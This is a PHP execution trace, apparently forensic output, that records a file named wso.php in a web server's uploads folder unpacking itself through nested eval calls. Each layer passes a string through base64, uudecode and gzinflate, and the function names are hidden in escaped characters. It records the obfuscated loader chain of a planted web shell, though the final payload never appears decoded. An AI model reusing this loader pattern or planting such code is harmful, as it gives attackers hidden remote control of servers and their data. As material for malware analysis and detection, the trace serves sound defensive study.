3 10 0 0.004650 595888 gzinflate 0 /var/www/html/uploads/wso.php(9) : eval()'d code 1 1 'eU�n�8\020����C��P��$(\n�-��.�Er��\f�\024ήlR�ӕ[]�~�v/\017�`\030��\fϙ3\034�\033X��?�\005\033�j�`��\030��2���Ho�`�8��#(��IǽS��:������ҭ�\022O$t�\034�\024^��U\025�i�l,�8$\\p1\033rѾ\022N+����~ȯ�K|�\005\n~�\003ޗ\a93���\'�D\025\av2\av_$�C�\021��)sKSX��af����6��\n���ZG�\002�Y\031w�\022�YϺ�\v/���\001����\\\027���MV\027\035��\016�\017���G~��]�(/�\v��Z\'}�\023��u��r��11���?�!0e��%�q�����M���q�1l\nn6k\bM\016|n\032��a���\032i�S\r����QN�S�\002m3�q���W�F҆;CuV�k\n���F\025�\r�\0372�n\rȹ��Cٍ�$�J�#�]XC'
3 10 1 0.004729 597712
3 10 R '$y01Zx="TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6'
3 11 0 0.004780 599160 eval 1 '$y01Zx="TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6VFkmNUdJNjBEUTM6JUk0NTRVWDVVLUc9VFEjMjMhNjE2PVA1Q2BVM0RcUDREVTE6Nk1QMkQ1SwpNPCU9SywjKTUsJTVZMlU1SyxUVSUsNEUuOkYxRjQmTTo1VT1aNkQ5MTVFRFU1RlExPCQtSywjPTAxJTRXCk00Nk0xKlUxWTwkNS40VyEzNiQwVTlFMFEtNTkqMTNgVjJGUUs8RFE0MkRNMT5ERVgzRC1YOUUhWi4mRTgKTSw2LFQ0NDk6MSU1NjVEUTg7JzEoNTdEUTQ0UTMyNlU5MTVESzJGTFgyVTE1M0RFMDEjNSM1VlFUMzRZTApNPiUpKzUkVUszJ0RYPTU5WjtXMSw6M0UjNEQ1KTtFJVowRFUyOjRUWDM1OTo2JSk2OyVBNSw1JVEyNTlXCk08NSUlNUU9KT40NVM1QyFLOjRJSzU3LTkwUzUhNTY9UDNEUUk5UzE4MUQpNzQmSTk+RSxQLjRFLzVGXUkKTTUkMFk5JFEjLjY5LjRUWTEyNlBYO0U1STM2SSw+REVIMzU5WDQkUU0wNkErNFM1LjNGTTE8RT0kLCZNNgpNMFNBWTVVLUssNFk1PiRdKjslJU0wVkxQPjRNNDkmKTE0VkEsMlNgVDxVQFA2N0kuPkU1UzU2UVAzVF0lCk02My03PjREUzRVPSE6NFEjPFZBMDUlKTA0RTRQLCU5WThWSTY1JUkoNVZMUDxVKSY9JC0sPjNBVzMnSUwKTTUlITQsNTUwPkctKzI2UUQwNUUnMDRNOTA2XF0oQ0wqMCY1Vjg2UEgpJ0BQNEdBNSgjVEApJ0BQNEdBMQpNKiIxWCwlKVg0QkBEPiMhMj4lYEgpJ0RQNEdJIyoyREkqM01gOTc5QTsiQEQ+IyEyPkU0QC8yYEQ+IyEyCk0+RSRIKSdAUDRHSTIqIjFYLCUpWjQiQEQ+IyFSPkNgSSoyREkuVCFFPUYlTCoiMVgsJSlaNUJgXSgiMVgKPiwlKVo2MkBEPiMhMj5FSEgpJ0BQNEdJOCoiMVgsJ0kyPjJESSoyRFsKYAo=";$j0yZk="\\143\\x6f\\156\\x76\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$i0yZk="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\x65\\x63\\157\\x64\\145";@eval ( $j0yZk($i0yZk($y01Zx)));' /var/www/html/uploads/wso.php(9) : eval()'d code 1 0
3 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 $y01Zx = 'TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6VFkmNUdJ'
3 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 $j0yZk = 'convert_uudecode'
3 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 $i0yZk = 'base64_decode'
4 12 0 0.004884 599160 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 1 'TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6VFkmNUdJ'
4 12 1 0.004915 600984
4 12 R 'M)\'@P4GA0/2)<>#8R7#$T,5QX-S-<>#8U7#8V7#8T7\'@U9EQX-C1<,30U7\'@V\nM,UPQ-3=<>#8T7#$T-2([)\'@P4GA1/2)<>#8W7#$W,EPQ-3%<>#9E7#$T-EQX\nM-F-<,30Q7\'@W-%PQ-#4B.R1X,%)X4CTB7#$T,UQX-F9<,34V7#$V-EPQ-#5<\nM>#<R7#$V-%QX-69<,38U7\'@W-5QX-C1<,30U7\'@V,UPQ-3=<>#8T7#$T-2([\nM)\'DP4GI#/2)45#@T5GES-U-#>%%*4U%Z6\'E%,DYY9%)1:FQ!2FM1,%1%06U)\nM:4I%5S!!-$IL4DE21719251);E-357%.;#!W36LY1%=%67E3:EI/5&ML25=W\nM<$Y2:TY&5GI60DQ3:%I454UX5U-G=TQ#23!616=P5C`U3D\\P4DU1:6MP2D5K\nM<%=K,#)5,%5Y2U5K,TU%,4E.:F1F4&M:5U=Z6D915EDU5FQ1<$-K,#=01%4W'
4 13 0 0.004946 600952 convert_uudecode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 1 'M)\'@P4GA0/2)<>#8R7#$T,5QX-S-<>#8U7#8V7#8T7\'@U9EQX-C1<,30U7\'@V\nM,UPQ-3=<>#8T7#$T-2([)\'@P4GA1/2)<>#8W7#$W,EPQ-3%<>#9E7#$T-EQX\nM-F-<,30Q7\'@W-%PQ-#4B.R1X,%)X4CTB7#$T,UQX-F9<,34V7#$V-EPQ-#5<\nM>#<R7#$V-%QX-69<,38U7\'@W-5QX-C1<,30U7\'@V,UPQ-3=<>#8T7#$T-2([\nM)\'DP4GI#/2)45#@T5GES-U-#>%%*4U%Z6\'E%,DYY9%)1:FQ!2FM1,%1%06U)\nM:4I%5S!!-$IL4DE21719251);E-357%.;#!W36LY1%=%67E3:EI/5&ML25=W\nM<$Y2:TY&5GI60DQ3:%I454UX5U-G=TQ#23!616=P5C`U3D\\P4DU1:6MP2D5K\nM<%=K,#)5,%5Y2U5K,TU%,4E.:F1F4&M:5U=Z6D915EDU5FQ1<$-K,#=01%4W'
4 13 1 0.004977 601880
4 13 R '$x0RxP="\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145";$x0RxQ="\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145";$x0RxR="\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$y0RzC="TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQz'
4 14 0 0.005034 604576 eval 1 '$x0RxP="\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145";$x0RxQ="\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145";$x0RxR="\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$y0RzC="TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQzBMRiM8MVZXRVlXU1QqIVwqQEVWIyEsV0kiJkUsYC5AUgpNLig4XFBWPjYzS09IOVoiTD9dLC9fNSNQIl8nUiMjLzIhMVxPLmAhKS5NNkQrWD0kVC8yWSk1NUxOJlQmCk0yKTdbQShLK04sX0YzNzUsUlpOOEY3WyI3SWAiLCshPTRPRU00VycjVTZHWk0sRFtCLy8wLzlTPT1UPzsKIldAYGAKYAo=";\n@eval($x0RxU = $x0RxQ($x0RxR($x0RxP($y0RzC))));@eval($x0RzU = $x0RzQ($x0RzR($x0RzP($x0rz0))));@eval($x0RzV = $x0RzY($x0RzZ($x0RzX($x0zRy))));' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 0
4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $x0RxP = 'base64_decode'
4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $x0RxQ = 'gzinflate'
4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $x0RxR = 'convert_uudecode'
4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $y0RzC = 'TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQzBMRiM8MVZXRVlXU1QqIVwqQEVWIyEsV0kiJkUsYC5AUgpNLig4XFBWPjYzS09IOVoiTD9dLC9fNSNQIl8nUiMjLzIhMVxPLmAhKS5NNkQrWD0kVC8yWSk1NUxOJlQmCk0yKTdbQShLK04sX0YzNzUsUlpOOEY3WyI3SWAiLCshPTRPRU00VycjVTZHWk0sRFtCLy8wLzlTPT1UPzsKIldAYGAKYAo='
5 15 0 0.005131 604576 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQzBMRiM8MVZXRVlXU1QqIVwqQEVWIyEsV0kiJkUsYC5AUgpNLig4XFBWPjYzS09IOVoiTD9dLC9fNSNQIl8nUiMjLzIhMVxPLmAhKS5NNkQrWD0kVC8yWSk1NUxOJlQmCk0yKTdbQShLK04sX0YzNzUsUlpOOEY3WyI3SWAiLCshPTRPRU00VycjVTZHWk0sRFtCLy8wLzlTPT1UPzsKIldAYGAKYAo='
5 15 1 0.005157 605248
5 15 R 'M?8W+;H,P%$3_!67\'QB9@&D4L@&""D[@8&THDKX!2\'I%*6]02OCXF2J6NNIH[\nMFCEW5A-(YMC1Y(0,"4TH)WNM;DLB))$I)ZM6SE2)I70MH67_>FV[6EAV9VT)\nM;<5;BD>O*D5*R\\>_O^U$M:&Y+-2JC214,_??"_W8@VCQUK^[GS-P-"&`F>&O\nMCH<>BZ[L6\\Q)3$//.W:-./BDB\'C0LF#<1VWEYWST*!\\*@EV#!,WI"&E,`.@R\nM.(8\\PV>63KOH9Z"L?],/_5#P"_\'R##/2!1\\O.`!).M6D+X=$T/2Y)55LN&T&\nM2)7[A(K+N,_F375,RZN8F7["7I`",+!=4OEM4W\'#U6GZM,D[B//0/9S==T?;\n"W@``\n`\n'
5 16 0 0.005184 605216 convert_uudecode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'M?8W+;H,P%$3_!67\'QB9@&D4L@&""D[@8&THDKX!2\'I%*6]02OCXF2J6NNIH[\nMFCEW5A-(YMC1Y(0,"4TH)WNM;DLB))$I)ZM6SE2)I70MH67_>FV[6EAV9VT)\nM;<5;BD>O*D5*R\\>_O^U$M:&Y+-2JC214,_??"_W8@VCQUK^[GS-P-"&`F>&O\nMCH<>BZ[L6\\Q)3$//.W:-./BDB\'C0LF#<1VWEYWST*!\\*@EV#!,WI"&E,`.@R\nM.(8\\PV>63KOH9Z"L?],/_5#P"_\'R##/2!1\\O.`!).M6D+X=$T/2Y)55LN&T&\nM2)7[A(K+N,_F375,RZN8F7["7I`",+!=4OEM4W\'#U6GZM,D[B//0/9S==T?;\n"W@``\n`\n'
5 16 1 0.005209 605568
5 16 R '}��n�0\024D�\005e��&`\032E,�`���\030\033J$��R\036�J[�\022�>&J����;�9wV\023H����\f\tM(\'{�nK"$�)\'�V�T��t-�e�zm�ZXvgm\tm�[�G�*EJ�ǿ��D���,Ԫ�$T3��\v�h�ֿ��3p4!��ᯎ�\036���[�ILC�;v�8���xв`�Gm��|�(\037\n�]�\004��\biL\000�28�<�g�N��g���\017�P�\v��\f3�\005\037/8\000I:դ/�D��%Ul�m\006H����˸��MuL˫��~�^�\0020�]R�mSq��i���;���=��wG��\000'
5 17 0 0.005252 604896 gzinflate 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 '}��n�0\024D�\005e��&`\032E,�`���\030\033J$��R\036�J[�\022�>&J����;�9wV\023H����\f\tM(\'{�nK"$�)\'�V�T��t-�e�zm�ZXvgm\tm�[�G�*EJ�ǿ��D���,Ԫ�$T3��\v�h�ֿ��3p4!��ᯎ�\036���[�ILC�;v�8���xв`�Gm��|�(\037\n�]�\004��\biL\000�28�<�g�N��g���\017�P�\v��\f3�\005\037/8\000I:դ/�D��%Ul�m\006H����˸��MuL˫��~�^�\0020�]R�mSq��i���;���=��wG��\000'
5 17 1 0.005297 605376
5 17 R '$x0RzP="\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145";$x0RzQ="\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145";$x0RzR="\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$x0rz0="TT04VFsjSGBQIyQvTzRPNGBBLjhTKCJbISEiQEtHIidCXStBNSpbJFA2JEhML1NPJ00jV1tGSVFYQUxDIwpNQkg+KkpbSlJBXVFQJjEqWFE0RUxfJkcpRTNUOiJdP2AiV0JdXCJNTltHVz9dLUcyTzQ+MFBEU00pQDRdCihdS2A+NU89Xj1FXGAKYAo=";'
4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 $x0RxU = '$x0RzP="\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145";$x0RzQ="\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145";$x0RzR="\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$x0rz0="TT04VFsjSGBQIyQvTzRPNGBBLjhTKCJbISEiQEtHIidCXStBNSpbJFA2JEhML1NPJ00jV1tGSVFYQUxDIwpNQkg+KkpbSlJBXVFQJjEqWFE0RUxfJkcpRTNUOiJdP2AiV0JdXCJNTltHVz9dLUcyTzQ+MFBEU00pQDRdCihdS2A+NU89Xj1FXGAKYAo=";'
5 18 0 0.005366 606896 eval 1 '$x0RzP="\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145";$x0RzQ="\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145";$x0RzR="\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$x0rz0="TT04VFsjSGBQIyQvTzRPNGBBLjhTKCJbISEiQEtHIidCXStBNSpbJFA2JEhML1NPJ00jV1tGSVFYQUxDIwpNQkg+KkpbSlJBXVFQJjEqWFE0RUxfJkcpRTNUOiJdP2AiV0JdXCJNTltHVz9dLUcyTzQ+MFBEU00pQDRdCihdS2A+NU89Xj1FXGAKYAo=";' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 0
5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzP = 'base64_decode'
5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzQ = 'gzinflate'
5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzR = 'convert_uudecode'
5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0rz0 = 'TT04VFsjSGBQIyQvTzRPNGBBLjhTKCJbISEiQEtHIidCXStBNSpbJFA2JEhML1NPJ00jV1tGSVFYQUxDIwpNQkg+KkpbSlJBXVFQJjEqWFE0RUxfJkcpRTNUOiJdP2AiV0JdXCJNTltHVz9dLUcyTzQ+MFBEU00pQDRdCihdS2A+NU89Xj1FXGAKYAo='
5 18 1 0.005451 606896
5 19 0 0.005460 606096 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'TT04VFsjSGBQIyQvTzRPNGBBLjhTKCJbISEiQEtHIidCXStBNSpbJFA2JEhML1NPJ00jV1tGSVFYQUxDIwpNQkg+KkpbSlJBXVFQJjEqWFE0RUxfJkcpRTNUOiJdP2AiV0JdXCJNTltHVz9dLUcyTzQ+MFBEU00pQDRdCihdS2A+NU89Xj1FXGAKYAo='
5 19 1 0.005481 606352
5 19 R 'M=8T[#H`P#$/O4O4`A.8S("[!!"@KG"\'B]+A5*[$P6$HL/SO\'M#W[FIQXALC#\nMBH>*J[JRA]QP&1*XQ4EL_&G)E3T:"]?`"WB]\\"MN[GW?]-G2O4>0PDSM)@4]\n(]K`>5O=^=E\\`\n`\n'
5 20 0 0.005504 606320 convert_uudecode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'M=8T[#H`P#$/O4O4`A.8S("[!!"@KG"\'B]+A5*[$P6$HL/SO\'M#W[FIQXALC#\nMBH>*J[JRA]QP&1*XQ4EL_&G)E3T:"]?`"WB]\\"MN[GW?]-G2O4>0PDSM)@4]\n(]K`>5O=^=E\\`\n`\n'
5 20 1 0.005525 606512
5 20 R 'u�;\016�0\fC�R�\000��3 .�\004(+�!��U+�0XJ,?;Ǵ=���x��Ê�������p\031\022��Il�iɕ=\032\v�\vx��+n�}���ҽG��L�&\005=��\036V�~v_'
5 21 0 0.005552 606256 gzinflate 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'u�;\016�0\fC�R�\000��3 .�\004(+�!��U+�0XJ,?;Ǵ=���x��Ê�������p\031\022��Il�iɕ=\032\v�\vx��+n�}���ҽG��L�&\005=��\036V�~v_'
5 21 1 0.005583 606512
5 21 R '$x0RzX="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\145\\x63\\157\\144\\145";$x0RzY="\\147\\172\\151\\x6e\\146\\154\\141\\x74\\145";$x0RzZ="\\143\\157\\156\\166\\145\\162\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\144\\145";'
4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 $x0RzU = '$x0RzX="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\145\\x63\\157\\144\\145";$x0RzY="\\147\\172\\151\\x6e\\146\\154\\141\\x74\\145";$x0RzZ="\\143\\157\\156\\166\\145\\162\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\144\\145";'
5 22 0 0.005633 606984 eval 1 '$x0RzX="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\145\\x63\\157\\144\\145";$x0RzY="\\147\\172\\151\\x6e\\146\\154\\141\\x74\\145";$x0RzZ="\\143\\157\\156\\166\\145\\162\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\144\\145";' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 0
5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzX = 'base64_decode'
5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzY = 'gzinflate'
5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzZ = 'convert_uudecode'
5 22 1 0.005692 606984
5 23 0 0.005700 606336 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'TVcvVTs8Xis8VUI6KFdOXT9MOipCNVQxVVEtWz0uRCFeS1tOQytBKiNBLjY0MicyOCRLSCMxKj4sKSRTOgpNSSkmSUovXl5RUy9GRSlgUD1DSz9NO1tKV09OK0pFQyk6XSFBU0MnJ1wxRy8+L0JfX08lP0dQXS9eXD9HCk1fX0pfLy5AL19eXV9fKT85Wk9fWl07UT4nQVg+PV9fOC9TVl4vJjI7WyFeS1VXXSROVitXPi1RRUZZPicKTV0+OytYIV9fR1ddODNZTy0vVjpbXEYmV148P1daPz1fLStdXD8vSE9fXkxfX01NX15cP19NMlI/LV9fSwpNL19bWy9fKy0sTUxcXz0/X1xOVTE3Tz9fXiQ9Xi4uU19DX19dP19eNT8xR1w7Xk8nWkdfXytfX0tfX0YvCk1bJidTN15FX19MPF9fTyZfUyMxTS1NL15WWl5HLE1OTCdbLy0/X1RPX19QUlQ/X1knVV9fXjw3WElWJ10KTVxcT1hHVV9UWDNe'
5 23 1 0.006010 704672
5 23 R 'MW/U;<^+<UB:(WN]?L:*B5T1UQ-[=.D!^K[NC+A*#A.642\'28$KH#1*>,)$S:\nMI)&IJ/^^QS/FE)`P=CK?M;[JWON+JEC):]!ASC\'\'\\1G/>/B__O%?GP]/^\\?G\nM__J_/.@/_^]__)?9ZO_Z];Q>\'AX>=__8/SV^/&2;[!^KUW]$NV+W>-QEFY>\'\nM]>;+X!__GW]83YO-/V:[\\F&W^<?WZ?=_-+]\\?/HO_^L__MM_^\\?_M2R?-__K\nM/_[[/_+-,ML\\_=?_\\NU17O?_^$=^..S_C__]?_^5?1G\\;^O\'ZG__+__K__F/\nM[&\'S7^E__L<__O&_S#1M-M/^VZ^G,MNL\'[/-?_TO__PRT?_Y\'U__^<7XIV\']\nM\\\\OXGU_TX3^\'M__\\CR___(^!]L\\O-\\9?_S3&__P/[9__\\=<__V/XS_^@;]_\\\nMT_CZY9]?Z$O&/[^,_OEE\\,\\O]-^&]//A/[_\\]<\\O'
5 24 0 0.006130 704640 convert_uudecode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'MW/U;<^+<UB:(WN]?L:*B5T1UQ-[=.D!^K[NC+A*#A.642\'28$KH#1*>,)$S:\nMI)&IJ/^^QS/FE)`P=CK?M;[JWON+JEC):]!ASC\'\'\\1G/>/B__O%?GP]/^\\?G\nM__J_/.@/_^]__)?9ZO_Z];Q>\'AX>=__8/SV^/&2;[!^KUW]$NV+W>-QEFY>\'\nM]>;+X!__GW]83YO-/V:[\\F&W^<?WZ?=_-+]\\?/HO_^L__MM_^\\?_M2R?-__K\nM/_[[/_+-,ML\\_=?_\\NU17O?_^$=^..S_C__]?_^5?1G\\;^O\'ZG__+__K__F/\nM[&\'S7^E__L<__O&_S#1M-M/^VZ^G,MNL\'[/-?_TO__PRT?_Y\'U__^<7XIV\']\nM\\\\OXGU_TX3^\'M__\\CR___(^!]L\\O-\\9?_S3&__P/[9__\\=<__V/XS_^@;]_\\\nMT_CZY9]?Z$O&/[^,_OEE\\,\\O]-^&]//A/[_\\]<\\O'
5 24 1 0.006281 762016
5 24 R '�[s���&���_���WDu���:@~���.\022���Ht�\022�\003D��$Lڤ������3攐0v:ߵ�����X�k�a�1��\031�x����_�\017O����<�\017��������^\036\036\036w��?=�<d��\037��D�b�x�e�������\037��XO��?f��a����4�||�/��?�����,�7��?��?��2�<����Q^���G~8�����}\031�o����/����a�_���?���4m6�ۯ�2۬\037���/��2��\037_����a����_��?�����/������/7�_�4��\017���?�c���o����_�K�?����e��/�߆���?����/�?������5��A�bҿ�ң��S�����5��r���Ϧ�?�+���߮�]��6\006�w�\006]D^\003��?�un�T�\a���\037�������y���\\�\0'
5 25 0 0.007043 663680 gzinflate 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 '�[s���&���_���WDu���:@~���.\022���Ht�\022�\003D��$Lڤ������3攐0v:ߵ�����X�k�a�1��\031�x����_�\017O����<�\017��������^\036\036\036w��?=�<d��\037��D�b�x�e�������\037��XO��?f��a����4�||�/��?�����,�7��?��?��2�<����Q^���G~8�����}\031�o����/����a�_���?���4m6�ۯ�2۬\037���/��2��\037_����a����_��?�����/������/7�_�4��\017���?�c���o����_�K�?����e��/�߆���?����/�?������5��A�bҿ�ң��S�����5��r���Ϧ�?�+���߮�]��6\006�w�\006]D^\003��?�un�T�\a���\037�������y���\\�\0'
5 25 1 0.008308 794784
